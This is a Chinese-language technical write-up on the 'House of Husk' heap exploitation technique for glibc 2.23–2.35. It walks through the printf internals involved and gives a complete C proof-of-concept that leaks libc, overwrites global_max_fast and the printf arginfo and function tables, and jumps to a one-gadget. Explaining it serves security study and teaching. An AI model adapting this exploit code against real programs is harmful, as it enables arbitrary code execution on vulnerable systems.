回炉重修之house of husk 带源码深度解析
字数 1704 2025-08-22 12:22:36
House of Husk 利用技术深度解析
概述
House of Husk 是一种针对 glibc 中 printf 函数家族的利用技术,适用于 glibc 2.23 到 2.35 版本。该技术通过劫持 printf 的自定义格式化字符串处理机制,实现任意代码执行。
利用条件
- 能够向
__printf_function_table中写入任意数据,使其不为空 - 能够向
__printf_arginfo_table中写入一个可控地址 - 通过条件2,使
__printf_arginfo_table[spec]指向后门函数或 one-gadget 地址
技术原理
printf 函数调用链
-
printf -> vfprintf
int __printf (const char *format, ...) { va_list arg; int done; va_start (arg, format); done = vfprintf (stdout, format, arg); va_end (arg); return done; } -
vfprintf -> do_positional
if (__glibc_unlikely (__printf_function_table != NULL || __printf_modifier_table != NULL || __printf_va_arg_table != NULL)) goto do_positional; -
do_positional -> printf_positional
do_positional: done = printf_positional(s, format, readonly_format, ap, &ap_save, done, nspecs_done, lead_str_end, work_buffer, save_errno, grouping, thousands_sep); -
printf_positional -> __parse_one_specmb
#ifdef COMPILE_WPRINTF nargs += __parse_one_specwc (f, nargs, &specs[nspecs], &max_ref_arg); #else nargs += __parse_one_specmb (f, nargs, &specs[nspecs], &max_ref_arg); #endif
关键劫持点
在 __parse_one_specmb 函数中:
if (__builtin_expect (__printf_function_table == NULL, 1) ||
spec->info.spec > UCHAR_MAX ||
__printf_arginfo_table[spec->info.spec] == NULL)
/* 正常处理 */
else
/* 关键调用 */
spec->ndata_args = (*__printf_arginfo_table[spec->info.spec])
(&spec->info, 1, &spec->data_arg_type, &spec->size);
注册机制
glibc 提供了 __register_printf_specifier 函数用于注册自定义格式化字符:
int __register_printf_specifier(int spec, printf_function converter,
printf_arginfo_size_function arginfo) {
if (spec < 0 || spec > (int) UCHAR_MAX) {
__set_errno (EINVAL);
return -1;
}
__libc_lock_lock (lock);
if (__printf_function_table == NULL) {
__printf_arginfo_table = (printf_arginfo_size_function **)
calloc(UCHAR_MAX + 1, sizeof(void *) * 2);
if (__printf_arginfo_table == NULL) {
result = -1;
goto out;
}
__printf_function_table = (printf_function **)
(__printf_arginfo_table + UCHAR_MAX + 1);
}
__printf_function_table[spec] = converter;
__printf_arginfo_table[spec] = arginfo;
out:
__libc_lock_unlock (lock);
return result;
}
利用步骤
POC 分析
#include <stdio.h>
#include <stdlib.h>
#define offset2size(ofs) ((ofs) * 2 - 0x10)
#define MAIN_ARENA 0x3ebc40
#define MAIN_ARENA_DELTA 0x60
#define GLOBAL_MAX_FAST 0x3ed940
#define PRINTF_FUNCTABLE 0x3f0658
#define PRINTF_ARGINFO 0x3ec870
#define ONE_GADGET 0x10a38c
int main(void) {
unsigned long libc_base;
char *a[10];
setbuf(stdout, NULL);
/* leak libc */
a[0] = malloc(0x500); /* UAF chunk */
a[1] = malloc(offset2size(PRINTF_FUNCTABLE - MAIN_ARENA));
a[2] = malloc(offset2size(PRINTF_ARGINFO - MAIN_ARENA));
a[3] = malloc(0x500); /* avoid consolidation */
free(a[0]);
libc_base = *(unsigned long*)a[0] - MAIN_ARENA - MAIN_ARENA_DELTA;
printf("libc @ 0x%lx\n", libc_base);
/* prepare fake printf arginfo table */
*(unsigned long*)(a[2] + ('X' - 2) * 8) = libc_base + ONE_GADGET;
/* unsorted bin attack */
*(unsigned long*)(a[0] + 8) = libc_base + GLOBAL_MAX_FAST - 0x10;
a[0] = malloc(0x500); /* overwrite global_max_fast */
/* overwrite __printf_arginfo_table and __printf_function_table */
free(a[1]); // __printf_function_table => a heap_addr which is not NULL
free(a[2]); // __printf_arginfo_table => one_gadget
/* ignite! */
printf("%X", 0);
return 0;
}
详细步骤
-
泄露 libc 地址
- 分配一个大 chunk (0x500) 并释放,通过 UAF 读取 main_arena 地址
- 计算 libc 基址:
libc_base = leak_addr - MAIN_ARENA - MAIN_ARENA_DELTA
-
准备伪造的 printf arginfo 表
- 在堆上准备伪造的 arginfo 表,设置
arginfo_table['X'] = one_gadget
- 在堆上准备伪造的 arginfo 表,设置
-
unsorted bin 攻击
- 修改 free chunk 的 bk 指针指向
global_max_fast - 0x10 - 重新分配 chunk 触发 unsorted bin 攻击,覆盖
global_max_fast为一个很大的值
- 修改 free chunk 的 bk 指针指向
-
覆盖 printf 相关表
- 释放特定大小的 chunk,利用 fastbin 机制覆盖:
__printf_function_table为堆地址(使其不为 NULL)__printf_arginfo_table指向伪造的 arginfo 表
- 释放特定大小的 chunk,利用 fastbin 机制覆盖:
-
触发利用
- 调用
printf("%X", 0),触发自定义格式化字符处理 - 执行
arginfo_table['X']指向的 one-gadget
- 调用
偏移计算
main_arena+8 = 0x7ffff7dcfc48__printf_function_table = 0x7ffff7dd4658- offset1 = 0x4A10 = (0x9430 / 2 - 0x10 + 8)
__printf_arginfo_table = 0x7ffff7dd0870- offset2 = 0xC28 = (0x1860 / 2 - 0x10 + 8)
关键点总结
-
global_max_fast 覆盖:通过 unsorted bin 攻击将 global_max_fast 设置为很大的值,使所有释放的 chunk 都进入 fastbin
-
fastbin 分配策略:fastbin 的堆块地址会从 main_arena+8 开始按大小顺序存放
-
表项覆盖:精心计算 chunk 大小,使得释放后其地址正好覆盖到目标表项
-
格式化字符选择:选择一个不常用的格式化字符(如 'X')进行劫持,避免影响正常功能
-
调用链触发:确保
__printf_function_table不为 NULL 以进入非标准处理路径
防御措施
- 更新到最新版 glibc
- 检查并限制对 printf 相关全局变量的写操作
- 使用 printf 时避免使用不受信任的格式化字符串
该技术展示了如何通过精心控制堆布局和 glibc 内部数据结构,利用 printf 的自定义格式化功能实现代码执行,是一种高级的堆利用技术。